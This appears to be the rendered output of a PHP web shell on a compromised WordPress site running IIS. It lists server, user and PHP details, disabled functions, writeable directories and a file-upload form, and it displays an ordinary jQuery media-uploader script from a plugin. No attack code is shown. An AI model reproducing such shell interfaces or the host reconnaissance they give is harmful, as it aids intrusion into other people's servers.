GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/coming-soon-wp/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/coming-soon-wp/assets/js/media-upload-script.js
jQuery(document).ready(function(jQuery){
  
	var media_uploader = null;

	jQuery('.rcsp_media_upload').click(function(e) {
	   
		showImg = jQuery(this).prev('img');
		uploadID = jQuery(this).next('input');
			
	   media_uploader = wp.media({
			frame:    "post", 
			state:    "insert", 
			library: { 
			  type: 'image' // limits the frame to show only images
		   },
			multiple: false
		});

		media_uploader.on("insert", function(){
			var json = media_uploader.state().get("selection").first().toJSON();

			var image_url = json.url;
			//alert(image_url);
			 jQuery(uploadID).val(image_url);
			 showImg.attr('src',image_url);
			var image_caption = json.caption;
			var image_title = json.title;
		});

		media_uploader.open();
	});
	
});

Anon7 - 2021